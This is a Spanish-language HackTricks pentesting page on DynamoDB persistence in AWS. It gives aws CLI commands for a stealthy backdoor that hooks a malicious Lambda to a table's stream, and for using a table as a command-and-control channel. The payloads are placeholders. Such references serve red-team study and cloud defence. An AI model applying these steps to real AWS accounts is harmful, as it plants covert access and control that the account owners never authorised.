AWS - DynamoDB Persistence

Apoya a HackTricks

DynamoDB

Para más información accede a:

AWS - DynamoDB Enum

Triggers de DynamoDB con Lambda Backdoor

Usando triggers de DynamoDB, un atacante puede crear una puerta trasera sigilosa asociando una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un ítem, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda.

DynamoDB como un Canal C2

Un atacante puede usar una tabla DynamoDB como un canal de comando y control (C2) creando elementos que contengan comandos y usando instancias comprometidas o funciones Lambda para obtener y ejecutar estos comandos.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Las instancias comprometidas o las funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos.

Apoya a HackTricks

Last updated